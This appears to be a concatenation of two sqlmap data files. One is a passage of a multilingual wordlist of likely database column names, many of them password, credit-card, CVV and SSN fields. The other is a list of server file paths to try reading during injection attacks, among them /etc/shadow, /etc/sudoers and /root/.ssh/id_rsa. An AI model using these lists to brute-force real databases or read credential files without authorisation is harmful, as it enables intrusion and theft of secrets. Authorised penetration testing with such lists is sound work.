userip
userlogin
usernm
userpw
usr2
usrnm
usrs
warez
xar_name
xar_pass
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
account
accnts
accnt
user_id
members
usrs
usr2
accounts
admin
admins
adminlogin
auth
authenticate
authentication
account
access
customers
customer
config
conf
cfg
hash
login
logout
loginout
log
member
memberid
password
pass_hash
pass
passwd
passw
pword
pwrd
pwd
store
store1
store2
store3
store4
setting
username
name
user
user_name
user_username
uname
user_uname
usern
user_usern
un
user_un
usrnm
user_usrnm
usr
usernm
user_usernm
user_nm
user_password
userpass
user_pass
user_pword
user_passw
user_pwrd
user_pwd
user_passwd
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
fld_id
fld_username
fld_password
loginname
pasword
permission
perm
user_group
tendn
tendangnhap
tenquantri
tenquanly
tennguoidung
ten
tennd
nguoidung
nguoidungid
quantri
quanly
u_id
accountname
account_name
matkhau
matma
paswd
pas
tukhoa
login_pas
loginpassword
loginpasswd
loginpass
loginpas
loginpwd
secret
secret_code
secretcode
administrators
adminpass
adminpassword
adminpaw
adminpwd
adminuid
upass
level
mima
sb_admin_name
sb_pwd
client
clients
ipaddress
files
family
admin_psw
administrateur
adminpsw
adminupass
adress
aide
articleid
content
dw
feed
feedback
glmm
isadmin
key
keywords
mpassword
msn
musername
newsid
numer
passer
pe_aduser
pe_user
power
pswd
pwd1
qq
stocker
sysuser
telephone
texte
userpasswd
usr_nusr
usr_pw
website
wind
compte
comptes
objectif
authentifier
authentification
fissure
adressee-mail
complet
groupe
hachage
connexion
membre
membres
mm
p
u
mot_de_passe_bdd
mon_mot_de_passe
monmotdepasse
ignatiusj
caroline-du-nord
nouveau
sel
recherche
utilisateurs
o
konto
rachunki
administratorzy
pomoc
cel
uwierzytelnienia
uwierzytelnianie
kontakt
klient
danych
adres_e-mailowy
grupy
obrazy
spis
dostawcy
nazwisko
zaloguj
nowy
telefon
seryjny
ustawienie
kod
stan
sklep1
sklep2
tekst
zytk
konta
rysa
adrese-mail
ecolo
tat
yh
yhm
yhmm
yonghu
# site:br
content_id
codigo
geometry
published
section_value
tidcliente
menuid
pollid
bid
moduleid
gab_pergunta
tipo
template
multilinestring
aal_aluno
ava_professor
adm_nivel
lec_codigo
per_codigo
lec_disciplina
gaip_codigo
acl_id
niv_codigo
quantidade
attribute_id
gaia_codigo
alu_matricula
nota
gab_codigo
field_id
ava_codigo
aal_codigo
message_id
avi_codigo
fre_disciplina
groups_id
nome_cliente
pc
lec_professor
idusuario
poll_id
dis_codigo
ava_disciplina
gap_codigo
avp_codigo
aai_codigo
fre_aluno
fre_codigo
adm_id
id_estado
aap_codigo
pro_matricula
gp
xlancamento
municipioprestador
product_price_id
country_2_code
shopper_group_id
manufacturer_id
com_natur
review_id
xtipo_de_acao
bookmark_id
xequipe_padrao
faixas_id
xcliente
deducoes_id
xcategoria
xencerramento
idx_item
xcadastro
quantitens
additional_htmlblob_users_id
ipi
xfase_de_vencimento
permission_id
xdecisao
i_end
xforo
order_item_id
mo
grafica_id
news_id
enderecos_id
desccompensa
desconto
creditcard_id
card_id
cardid
idcard
creditcard
cardnumber
cardno
itens_id
senha
order_status_id
id_seq
municipio_id
additional_users_id
order_status_history_id
function_id
controladas_id
ator_id
shipping_rate_id
htmlblob_id
css_id
xfase
fieldvalueid
main
correcaostrategy_id
fonte
xmetodo_atualizacao
desd_xdecisao
jurosstrategy_id
fielddef_id
especie_id
idcategoria
xgrupo
indice_id
xprocedimento
xcustom1
autor_id
newssummarycategory
icmsinterno
nonnavigable
domicilio_id
notafiscal_id
userplugin_id
shipping_carrier_id
municipiotomador
natureza
solicitante_id
mbpp
xcustom2
template_id
chave_primaria
desd_xforo
payment_method_id
nome_agencia
pessoa_id
uprdescricao
export_id
logo_id
prazo_xevento
tomador_id
serie_id
tidclasfiscais
atividades_id
logradouro_id
xadvogado
xequipe
handler_id
xobjeto
multipolygon
tipo_id
xproprietario
state_id
mopc
valorcontabil
xprocesso
coupon_id
currency_id
parameter_name
contribuinte_id
xcubo
country_id
id_fatura
serienfe_id
tax_rate_id
waiting_list_id
download_id
emissao
screen
xcustom3
mbpc
documento_id
xcustom4
fieldid
point
xsituacao
icmssp
tidproduto
pp
empresa_id
i_tel
contador_id
telefones_id
estado_id
xevento
site
order_currency
xprocesso_apensado
multastrategy_id
saida
grupo_id
guid_sessao
indice
xjurisdicao
news_category_id
mf_category_id
product_type_id
xusuario
vendor_id
sitepref_name
desd_xjurisdicao
option_id
xrelatorio
codusuario
id_cidade
user_info_id
desd_xfase
situacao
file_id
zone_id
id_servico
situacao_id
tidfornecedor
valor2
valor3
valor4
valor5
origem
few
idxatv
mopp
prestador_id
xprognostico
xclasse
log_id
xadverso
guid_email
guiaavulsa_id
pl
vendor_category_id
venc3
venc2
totpc
venc5
venc4
xserie
order_info_id
an
totpp
totpv
imagen_id
esquema
atividade_id
xgarantia
discount_id
xnatureza
group_perm_id
category_child_id
newssummaryauthor
and_xevento
# site:de
rolle_nr
standort_nr
ja
persnr
vorname
width
titel
filename
post_id
swidth
height
vorgaenger
matrnr
kursnr
notification_type
sheight
style_id
startnummer
bezeichnung
basename
kat_id
whabfragen
struct_id
havabfragen
abfrsql
vorlnr
ban_id
forum_id
rank_id
nr
k_id
nachname
ort
key_id
groesse
datum
image_id
entry
speise_id
word_id
absatz_id
class_id
mail_id
zid
ticket_id
queue_id
pid1
pid2
currval
forum
organizationid
institute_id
history_id
my
how
after
meetingid
mitarbeiterid
idgruppe
re
artikel_id
top
perid
pers_nr
idstelle
messageid
acctid
address_book_id
article_id
com
kid
rule_id
kosten
plz
confirm_id
race_id
vis_id
descr
seitelayout_id
vote_id
g_id
activated
show
guy
vtyp_id
timeofmove
views
meta_id
blz
bookid
teilnehmernr
weaponid
region_id
resultid
calendar
address_id
pos
d_id
serverid
cd
answer_id
categories_id
start
site_id
price_id
az
mnr
cis_id
config_key
address_format_id
tn
tax_id
mountname
standard
schweiz
partner_id
idkontakt
eventid
oldstate
topicid
sonst
pk
mountcategory
von
orders_recalculate_id
block_id
knr
msgid
ortnr
seiteabs_id
id1
um
paperid
send
wid
gi
lieferant
orgid
profile
zugang
allow
unique_id
taskid
configuration_id
jcode
ex_id
blog_id
who
section_id
mindk
beschreibung
schl
you
object_link_a_id
disallow_id
strasse
option_name
q_trid
summary_id
gameid
# site:es
catid
dni
prune_id
anid
linkid
qid
word_text
id_cat
eid
privmsgs_text_id
downloadid
hid
themes_id
privmsgs_id
codi
requestid
ratingdbid
edad
secid
sitename
artid
gallid
main_module
contactid
aro_id
replace
total
root
prodid
id_paciente
mosloadposition
de
mossef
ordid
stdprice
advanced
super
editor
rol
editors
mosvote
agent
en
searchbot
cod_aplicacion
manager
geshi
author
coste
mos
menutype
session_ip
publisher
texto
actor_id
mosemailcloak
none
id_tra
sistema
help
custid
value_id
nompuerto
legacybots
id_enfermedad
tinymce
nivel
locale
load
format
registered
moscode
results
search_term
mosimage
sin
mospaging
que
sef
dorsal
coste_total
legacy
btn
repid
parent_id
time_stamp
bannerid
# site:fr
numero
id_auteur
titre
lang
tag
id_forum
id_groupe
id_article
alliance1
alliance2
id_message
num
fichier
id_user
id_syndic
dico
id_rubrique
id_document
id_breve
id_signature
id_type
ide
id_syndic_article
id_mot
n_agence
ville
codepostal
sess_id
num1
constraint_name
n_type
theme_id
image
referer_md5
id_fragment
new_id
version_min
liste
id_version
prix
terms_body
prenom
nid
n_client
n_compte
apid
n_dept
n_dir
age
# site:ru
dt_id
subdivision_id
sub_class_id
comments
cmtid
tags
checkbox
ct_id
part
lastupdated
customsettings
catalogue_id
relationmessage
englishname
ba_num_reads
at_id
bs_setting
am_id
t2
t1
message
blogcommentsaccess_id
sub_class
grfilt
tempprovkredit
ostdate
koef
bms_cat_id
bd_id
field2
field3
dd
kredit
callend
gcode
blogcommentsaccess
sender
udal
bcf_id
bfs_id
schet
grcode
blogcommentssub
blogpermissiongroup_id
us_id
bv_id
bvo_id
rusname
gbid
kontr600
realiz_opt
bs_bid
bb_id
bf_id
wuser
v_id
sklad
sd
object_sub_class_id
callstart
myexec
relationsub
id_photo
bfl_id
bml_id
blogmessagesaccess
bn_id
bsu_id
id_links
bo_id
dates
kontr620
pom
object_parent_id
ostatki
tovar
oid
bsm_id
mn_id
pcode
id_poll_ip
groupcodes
codeid
fot_id
spell_id
typenamekeeper
bt_id
odate
bdate
bs_id
id_paragraph
t4
t3
nt_id
id_contact
korschet
data_in
id_msg
bc_plugin
summaprihod
boe_c_id
bct_id
grkntr
btt_id
string
tl_id
subdivision_name
bc_id
bfp_id
bcfs_id
vcode
id_refferer
ssschet
sessid
im_id
id_poll
ba_num_voted
kontr60
id_ip
kre1
ord_id
kc
bbt_id
bst_id
bftt_id
blogpermissiongroup
it_id
chost
bo_order_number
ba_id
object_sub_id
hidden_url
bms_id
pnds
pt_id
realiz
id_catalog
wdate
bff_id
matcode
bur_cat_id
bsl_id
blogmessagesaccess_id
bcena
ostatkii
ost1
bvr_id
prih
bu_id
bp_id
isview
id_artpage
tb_id
bst_time
ba_order_num
username1
id_answer
rt_id
bot_id
korschetfilter
st_id
summachp
vt_id
data_out
journals
enumtypid
scriptname
result
bsur_id
keyname
handle
ba_date
blogcommentscc
lg_id
bft_id
ft_id
toorg
debet
orgcode
partstring
id_product
bte_id
pu_id
mt_id
edate
community
bpe_id
grtov
id_page
boe_id
sut_id
task_id
object
can
voteid
operation_id
city_id
list
page_id
banner_id
error
language_id
val
parol
familiya
imya
otchestvo
# site:jp
dealer_id
modify_date
regist_date
comment
payment_method
service_name
file1
rel_id
sub_large_image3
sub_image6
sub_image4
sub_image5
sub_image3
sub_image1
fix
companyid
formid
charge
page_name
deliv_fee
category_name
stock_unlimited
sale_limit
nam
target_id
tempid
point_rate
payment_image
confirm_url
dt
document_id
productid
ken_kanji
attname
parent_category_id
module_name
main_list_image
create_date
conkey
product_code
price01
price02
classcategory_id1
seminer_id
classcategory_id2
newrow
update_date
classcategory_id
yeartag
job
relname
comm
main_large_image
sub_image2
deliv_id
idx
comment5
bloc_row
ndc
comment6
comment1
comment3
comment2
creator_id
bloc_name
equip_id
recommend_product_id
file3
file2
jiscode
file6
file5
file4
news_date
rank
sub_title5
sub_title4
sub_title6
sub_title1
sub_title3
sub_title2
txt
loc
fee
committee_id
module_code
pref
disp_name
pref_id
deliv_date_id
relid
upper_rule
main_image
umeta_id
template_code
edit_flg
comment4
kiyaku_title
hiredate
csv_id
sal
attrelid
deptname
main_comment
sub_large_image4
sub_large_image5
sub_large_image6
php_dir
sub_large_image1
sub_large_image2
bloc_id
test
tpl_dir
del_flg
stock
sale_unlimited
sub_comment4
sub_comment5
sub_comment6
manuscriptid
sub_comment1
sub_comment2
sub_comment3
main_list_comment
mgr
product_flag
rule
c_commu_topic_id
c_diary_comment_log_id
# site:it
idcomune
idruolo
idtrattamento
idpaziente
matricola
idpersonale
idasl
idanagrafica
idciclo
iddocumento
idservizio
idricovero
idclinica
idcamera
idtipociclo
idsistemazione
idtiporicovero
idtiposervizio
idsesso
idpagamento
idtipodimissione
idletto
iddescrizionedocumento
codice
cognome
idtipodocumento
idstatocivile
idtipologiaservizio
idtipotrattamento
idmedicofamiglia
idregistro
idreparto
iddistretto
idprovenienza
telefono
eta
figlio
reddito
denominazione
anno
idbocca
idcartellaclinica
idsistnerv
idappargenit
idtipotrasferimento
dataricovero
idcuore
cap
descrizione
idocchi
sede
idricoverohatipologia
noteaccettazione
dal
datadimissione
idorecchie
idcorpo
id_provincia
idtipologiaricovero
id_regione
idapparlocom
idcomuneresidenza
created_at
datanascita
corso
idanamnesifamil
idesameobiettivo
idcapo
idsmaglog
sesso
impiegato
luogonascita
idcute
idcollo
idsistresp
dipsede
cellulare
idaddome
php
idnaso
cf
idstatogenerale
idtrasferimento
indirizzo
genitore
dipnome
updated_at
idlinfonodi
groupname
shop
c_name
plugin_googlemap2
jfalternative
post_status
localita
prz_merce_fis
idgroupacl
comune
ana_codice
utenteid
mod_gtranslate
idlocation
rating_id
online_id
jfsections
idextra
categories
luogoid
nroordine
stat_name
gender
oggettistica
gru_userid
pv_id
parigi
direct
pm_id
idperiodo
idarticolo
what
can_codice
sub
id_nazione
client_name
acc_codice
mod_freeway_services
cleanurl
newyork
idcategory
active
box
prc_sconto1
prc_sconto3
prc_sconto4
disma
iddiscipline
job_e_date
risultato
mod_arcadebtn
jfrouter
apply
unit
newcollection
customenu
prova
cod_utente_mod
helvetica
send_id
mf_desc
nroarticolo
mod_ninja_simple_icons
sessione
cdele
statoattivitaid
bracciali
zenzaro
cod_valuta
collane
tabella
newyorkenglish
grp_id
var_id
sot_proposta_e
virtuemart
enteid
rpad
auth_id
realname
attivitaid
readmore
freewaylogin
idconfig
pin
pins
csc
cvd
cvv
cvv2
cvvc
ccv
ccid
qta_merce
charms
diritto
accessori
mod_signallogin
remember
mod_virtuemart_featureprod
padre
prc_sconto2
enter
idgara
morfeoshow
lingua
piede
gtranslate
under_menu
id_disciplina
nomedip
before
mod_virtuemart_search
arial
job_id
config_item
add_date
jfdatabase
madre
idragsoc
idsubscriptiontickets
loadmodule
jumpmenu
idsocieta
category_img
portachiavi
mf_name
codicepaziente
mod_virtuemart_randomprod
ninja
pro_codice
mod_vm_cat_menu_specific
vinod
newsfeeds
id_palestra
mod_custom
css
debug
side
dipart
areainterventoid
mod_flashmod
tipologiaenteid
emailcloak
mod_freeway_events
id_logho
codicemedico
nuova
catarticles
dst
gru_codice
idutente
idutenti
job_title
schedaid
idmlattach
zonainterventoid
totfasciaeuroid
structure_id
att_codice
blogger
plan_table_output
pagenavigation
idplugin
vote
mod_freeway_subscriptions
idconn
cerca
system
langkey
app_gruppo_e
term_taxonomy_id
statement
params
oggetto
mod_cpmfetch
signallogin
id_passwd
codrappr
coddoc
statoavanzamid
nrsez
idmlgroup
rated_id
kwick
id_citta
prc_magg1
prc_magg2
flg_fiscale
banner_url
attribute_sku_id
mod_product_list
end_date_time
purchase_id
client_url
vm_manufacturer_category
pfs_id
veteran
mod_cd_login
menu_selezione
ruoloenteid
ele_codice
pl_id
payment
idmlmail
mod_virtuemart_currencies
freeway
annoid
cod_dep
area_id
prg_art
alias_area_id
sent
po_id
yoologin
sys_context
mod_enugene
idnotsentmails
mod_virtuemart_manufacturers
menu
cache
prg_movimento_riga
url_md5
ldap
tvoti
villiam
full_news
yoocarousel
main2
main3
dat_utente_mod
user_alto
pff_id
smilie_id
mod_date
banner
pinsn
codice_comune
vm_payment_method
idclassificatore
idgroup
progetto
mod_freeway_shoppingcart
payment_extrainfo
cost_id
gmail
dat_movimento
mod_jt_slideshow
campo_bol
idcliente
prz_merce
hdesc
fp_id
jt
idfile
ji
mod_catarticles
mod_virtuemart_latestprod
mod_customenu
app_utente_e
prg_movimento
include_date
cod
flipper
naresh
cache_language_id
id_preventivo
config_owner
header
mootoolnicemenu
qualificareferenteid
modhome
id_annuncio
idtitolo
source
charmsn
swf
tutor
mod_yoo_carousel
portachiavin
idevent
mod_mainmenu
jfcontent
item_cd
tpref
id_news
mf_category_name
iddesign
moduledir
cod_clifor
fkidannofdr
mod_donimedia_select_box_menu_type1
jfcontacts
jpg
client_desc
mod_freewaylogin
mod_translate
flscrvpre
grand
mf_category_desc
payment_method_name
extended
mod_vm_prod_cat_full
mod_freeway_admin
orecchini
nlista
jfcategories
mod_cssmenu
mod_lxmenu
mod_flipper_img_rotator
fkidanagrafica
id_comune
statement_id
idatleta
inactive
mod_sidebarmenuapplestyle
candidato
ref_url
testq
ind_clifor
xmlrpc
pingback_id
l_col_list
fs_id
press
mod_freeway_products
semo
bijoux
rakesh
modulo_contatti
google
vm_manufacturer
vot_proposta_e
brend
post_date
enugene
nrcandi
invoice
home
sot_utente_e
settoreid
weblinks
contacts
id2
codcliente
news_title
job_s_date
sql_text
affiliate
backlink
core
id_attivita
index_num
etertre
manufacturer
cod_utente_cre
cod_art
ideventcategory
dat_utente_cre
cache_id
joomla
product_list
coupon
mod_sendcart
bijouxn
pagebreak
idsessione
arcade
mod_virtuemart_topten
banner_title
flg_prezzo_con_iva
partnerid
vot_utente_e
sections
xstandard
id_scheda
vm_category
mod_jumplink
exclude_date
ruoloid
contenuti
accessorin
coppermine
banlist_id
offerte
idticket
idsubscription
beneficiarioid
oggettistican
jfnewsfeeds
anelli
ship
imenu
na
nb
get_ddl
short_news
openid
titoloprogettoid
connection_id
mod_kwick_sliding_menu
matr
id_richiesta
idoggetto
lxmenu
text_id
user_basso
ver_codice
mayank
idgrouppermission
modules
client_img
does_repeat
# site:cn
typeid
cronid
advid
admingid
payid
tagname
optionid
templateid
applyid
searchid
styleid
medalid
pluginvarid
fldfuntype
fldfunindex
displayorder
pluginid
fldfunopen
fldfunid
fldfunhref
fldfunmemo
fldfunname
mobile
invisible
polloptionid
cachename
tagid
pluginhookid
pmid
fldfuninfo
magicid
keyid
areaid
logid
folder
allno
vieworder
classid
topped
msg
topics
rankid
timeid
iconid
intro
corpid
replies
operation
announceid
nickname
goods_id
attachment
special
hk_name
stylevarid
posterid
curtopics
allowbanip
hide
allowdelpost
db_value
picurl
yahoo
adid
digest
n_id
hidden
olimg
lastpost
signature
lastposttime
doid
authstr
tabid
org_code
typename
allowstickthread
departmentid
allowmassprune
identify
old
avatar
allowedituser
forumname
descrip
blogid
allowmoduser
lastposterid
today
tempfidlist
feedid
courseid
olid
hk_value
xh
allowpostannounce
copy
splitstring
icon
fidlist
lastpostpmtime
article
former
projectid
avatarheight
html
alloweditpoll
downloads
channelid
allowbanuser
appid
allowcensorword
emailid
lastexecuted
decl_mail
lastupdatetime
billid
vid
lastposter
allowrefund
allowviewrealname
installed
lasttid
postcount
searchstring
reason
customstatus
titleid
newpms
verifycode
forumid
attention
readperm
skype
lastsearchtime
bio
lastpostid
idcard
postdatetime
question
poster
sightml
highlight
pageid
threadorder
todaycount
currentindex
avatarwidth
magic
allowmodpost
allowviewip
pro_id
iid
decrip
alloweditpost
mailid
lastforumposterid
accountid
tids
medals
fileid
postid
closed
lastactivity
newnotices
allowviewlog
expiration
layer
ishtml
command
brand_id
disablepostctrl
fieldname
# site:id
ajar
akses
aktif
akun
alamat
batas
cabang
deskripsi
foto
harga
hp
jeda
jenis
jml
judul
jumlah
kata_kunci
kata_sandi
katakunci
katasandi
kategori
kelas
keterangan
kode
kunci
lahir
nama
nama_akun
nama_ibu_kandung
nama_pengguna
namaakun
namapengguna
pekerjaan
pendidikan
pengguna
penjelasan
perusahaan
ponsel
profesi
ruang
sandi
soal
surat_elektronik
surel
tanggal
tanggal_lahir
telepon
tempat
tempat_lahir
tmp_lahir
universitas
urut
waktu
# WebGoat
cookie
login_count
# https://sqlwiki.netspi.com/attackQueries/dataTargeting/
credit
card
pin
cvv
pan
password
social
ssn
account
confidential
# site:nl
naam
straat
gemeente
beschrijving
id_gebruiker
gebruiker_id
gebruikersnaam
wachtwoord
telefoon
voornaam
achternaam
geslacht
huisnummer
gemeente
leeftijd
# site:cn
yonghuming
mima
xingming
xingbie
touxiang
youxiang
shouji
# Misc
u_pass
hashedPw
# password (international)
adgangskode
aikotoba
amho
bimilbeonho
codewort
contrasena
contrasenya
contrasinal
esmeramz
facalfare
fjalekalim
focalfaire
gagtnabar
geslo
gozarvazhe
gunho
haslo
heslo
hudyat
igamalokungena
iphasiwedi
javka
jelszo
kadavucol
kalameobur
kalimatumurur
kalimatusirr
kalmarsirri
katalaluan
katasandi
kennwort
kodeord
kodikos
kouling
kupiasoz
kupuhipa
kupukaranga
kupuuru
kupuwhakahipa
losen
losenord
lozinka
lykilord
matkhau
mima
nenosiri
nywila
okwuntughe
oroasina
oroigbaniwole
paeseuwodeu
parol
parola
parolachiave
paroladordine
parole
paroli
parolja
parool
parulle
pasahitza
pasfhocal
pasowardo
passord
passwort
pasuwado
pasvorto
rahatphan
ramzobur
salasana
salasona
santoysena
senha
sifra
sifre
sisma
slaptazodis
synthimatiko
tunnussana
wachtwoord
wachtwurd
wagwoord
================================================
FILE: data/txt/common-files.txt
================================================
# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
# CTFs
/flag
/flag.txt
/readflag
# Reference: https://gist.github.com/sckalath/78ad449346171d29241a
/apache/logs/access.log
/apache/logs/error.log
/bin/php.ini
/etc/alias
/etc/apache2/apache.conf
/etc/apache2/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/apache/conf/httpd.conf
/etc/bash.bashrc
/etc/chttp.conf
/etc/crontab
/etc/crypttab
/etc/debian_version
/etc/exports
/etc/fedora-release
/etc/fstab
/etc/ftphosts
/etc/ftpusers
/etc/group
/etc/group-
/etc/hosts
/etc/http/conf/httpd.conf
/etc/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/php.ini
/etc/http/httpd.conf
/etc/inetd.conf
/etc/inittab
/etc/issue
/etc/issue.net
/etc/lighttpd.conf
/etc/login.defs
/etc/mandrake-release
/etc/motd
/etc/mtab
/etc/my.cnf
/etc/mysql/my.cnf
/etc/openldap/ldap.conf
/etc/os-release
/etc/pam.conf
/etc/passwd
/etc/passwd-
/etc/password.master
/etc/php4.4/fcgi/php.ini
/etc/php4/apache2/php.ini
/etc/php4/apache/php.ini
/etc/php4/cgi/php.ini
/etc/php5/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/cgi/php.ini
/etc/php/apache2/php.ini
/etc/php/apache/php.ini
/etc/php/cgi/php.ini
/etc/php.ini
/etc/php/php4/php.ini
/etc/php/php.ini
/etc/profile
/etc/proftp.conf
/etc/proftpd/modules.conf
/etc/protpd/proftpd.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/pureftpd.pdb
/etc/redhat-release
/etc/resolv.conf
/etc/samba/smb.conf
/etc/security/environ
/etc/security/group
/etc/security/limits
/etc/security/passwd
/etc/security/user
/etc/shadow
/etc/shadow-
/etc/slackware-release
/etc/sudoers
/etc/SUSE-release
/etc/sysctl.conf
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/logs/access.log
/logs/error.log
/opt/apache2/conf/httpd.conf
/opt/apache/conf/httpd.conf
/opt/xampp/etc/php.ini
/private/etc/httpd/httpd.conf
/private/etc/httpd/httpd.conf.default
/root/.bash_history
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/tmp/access.log
/usr/apache2/conf/httpd.conf
/usr/apache/conf/httpd.conf
/usr/etc/pure-ftpd.conf
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/lib/security/mkuser.default
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/httpd.conf
/usr/local/apache2/logs/access_log
/usr/local/apache2/logs/access.log
/usr/local/apache2/logs/error_log
/usr/local/apache2/logs/error.log
/usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/httpd.conf
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error. og
/usr/local/apps/apache2/conf/httpd.conf
/usr/local/apps/apache/conf/httpd.conf
/usr/local/etc/apache2/conf/httpd.conf
/usr/local/etc/apache/conf/httpd.conf
/usr/local/etc/apache/vhosts.conf
/usr/local/etc/httpd/conf/httpd.conf
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/httpd/conf/httpd.conf
/usr/local/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.php
/usr/local/php/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdb
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/Zend/etc/php.ini
/usr/sbin/pure-config.pl
/var/cpanel/cpanel.config
/var/lib/mysql/my.cnf
/var/local/www/conf/php.ini
/var/log/access_log
/var/log/access.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/error_log
/var/log/error.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/messages
/var/log/messages.1
/var/log/user.log
/var/log/user.log.1
/var/www/conf/httpd.conf
/var/www/html/index.html
/var/www/logs/access_log
/var/www/logs/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/Volumes/webBackup/opt/apache2/conf/httpd.conf
/Volumes/webBackup/private/etc/httpd/httpd.conf
/Volumes/webBackup/private/etc/httpd/httpd.conf.default
/web/conf/php.ini
# Reference: https://github.com/devcoinfet/Sqlmap_file_reader/blob/master/file_read.py
/var/log/mysqld.log
/var/www/index.php
# Reference: https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/settings.py#L809-L810
/var/www/index.php
/usr/local/apache/index.php
/usr/local/apache2/index.php
/usr/local/www/apache22/index.php
/usr/local/www/apache24/index.php
/usr/local/httpd/index.php
/var/www/nginx-default/index.php
/srv/www/index.php
/var/www/config.php
/usr/local/apache/config.php
/usr/local/apache2/config.php
/usr/local/www/apache22/config.php
/usr/local/www/apache24/config.php
/usr/local/httpd/config.php
/var/www/nginx-default/config.php
/srv/www/config.php
# Reference: https://github.com/sqlmapproject/sqlmap/issues/3928
/srv/www/htdocs/index.php
/usr/local/apache2/htdocs/index.php
/usr/local/www/data/index.php
/var/apache2/htdocs/index.php
/var/www/htdocs/index.php
/var/www/html/index.php
/srv/www/htdocs/config.php
/usr/local/apache2/htdocs/config.php
/usr/local/www/data/config.php
/var/apache2/htdocs/config.php
/var/www/htdocs/config.php
/var/www/html/config.php
# Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux
/etc/passwd
/etc/shadow
/etc/aliases
/etc/anacrontab
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/at.allow
/etc/at.deny
/etc/bashrc
/etc/bootptab
/etc/chrootUsers
/etc/chttp.conf
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/cups/cupsd.conf
/etc/exports
/etc/fstab
/etc/ftpaccess
/etc/ftpchroot
/etc/ftphosts
/etc/groups
/etc/grub.conf
/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
/etc/httpd/access.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/php.ini
/etc/httpd/srm.conf
/etc/inetd.conf
/etc/inittab
/etc/issue
/etc/lighttpd.conf
/etc/lilo.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/lsb-release
/etc/motd
/etc/modules.conf
/etc/motd
/etc/mtab
/etc/my.cnf
/etc/my.conf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/npasswd
/etc/passwd
/etc/php4.4/fcgi/php.ini
/etc/php4/apache2/php.ini
/etc/php4/apache/php.ini
/etc/php4/cgi/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/apache/php.ini
/etc/php/cgi/php.ini
/etc/php.ini
/etc/php/php4/php.ini
/etc/php/php.ini
/etc/printcap
/etc/profile
/etc/proftp.conf
/etc/proftpd/proftpd.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/putreftpd.pdb
/etc/redhat-release
/etc/resolv.conf
/etc/samba/smb.conf
/etc/snmpd.conf
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/sysconfig/network
/etc/syslog.conf
/etc/termcap
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/logs/pure-ftpd.log
/logs/security_debug_log
/logs/security_log
/opt/lampp/etc/httpd.conf
/opt/xampp/etc/php.ini
/proc/cpuinfo
/proc/filesystems
/proc/interrupts
/proc/ioports
/proc/meminfo
/proc/modules
/proc/mounts
/proc/stat
/proc/swaps
/proc/version
/proc/self/net/arp
/root/anaconda-ks.cfg
/usr/etc/pure-ftpd.conf
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/audit_log
/usr/local/apache/error_log
/usr/local/apache/error.log
/usr/local/cpanel/logs
